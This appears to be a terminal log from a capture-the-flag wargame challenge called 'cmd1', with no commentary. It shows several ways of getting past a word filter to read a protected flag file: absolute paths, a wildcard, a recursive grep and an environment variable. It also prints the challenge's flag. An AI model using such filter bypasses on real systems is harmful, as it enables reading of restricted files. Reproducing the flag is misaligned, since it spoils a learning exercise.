cmd1@ubuntu:~$ ./cmd1 "/bin/cat f*" mommy now I get what PATH environment is for :) cmd1@ubuntu:~$ ./cmd1 "/bin/grep -Rn :" Binary file cmd1 matches flag:1:mommy now I get what PATH environment is for :) /bin/grep: .bash_history: Permission denied cmd1@ubuntu:~$ export f=flag cmd1@ubuntu:~$ ./cmd1 "/bin/cat \$f" mommy now I get what PATH environment is for :)
flag:mommy now I get what PATH environment is for :)